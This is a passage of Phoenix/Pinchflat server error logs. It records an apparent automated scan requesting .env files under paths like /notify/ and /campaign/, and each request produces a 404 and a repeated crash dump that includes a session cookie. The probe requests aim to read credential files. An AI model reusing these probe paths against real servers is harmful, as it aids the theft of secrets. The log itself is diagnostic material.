"3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 159, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3463.0>, params: %{}, path_info: ["notifications", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/notifications/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6y6ldaMdRkAAASeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/notifications/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 159, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /notifications/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/notifications/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 159, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:19.897 [info] GET /notify/.env 02:10:19.899 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=171.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.899 [debug] QUERY OK source="settings" db=0.2ms idle=119.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.899 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.900 [error] #PID<0.3464.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 160) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /notify/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /notify/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/notify/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 160, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3464.0>, params: %{}, path_info: ["notify", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/notify/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6zINfcWbAS0AASfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/notify/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 160, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /notify/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/notify/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 160, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:19.961 [info] GET /sender/.env 02:10:19.962 [debug] QUERY OK source="settings" db=0.1ms idle=119.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.962 [debug] QUERY OK source="settings" db=0.0ms idle=119.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.962 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.962 [error] #PID<0.3465.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 161) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sender/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sender/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sender/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 161, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3465.0>, params: %{}, path_info: ["sender", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/sender/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6zXadYO5P5UAASgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sender/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 161, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sender/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sender/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 161, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:20.033 [info] GET /campaign/.env 02:10:20.034 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=134.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.035 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=135.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.035 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.036 [error] #PID<0.3466.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 162) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /campaign/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /campaign/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/campaign/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 162, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3466.0>, params: %{}, path_info: ["campaign", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/campaign/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6zogppsll3gAAShB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: 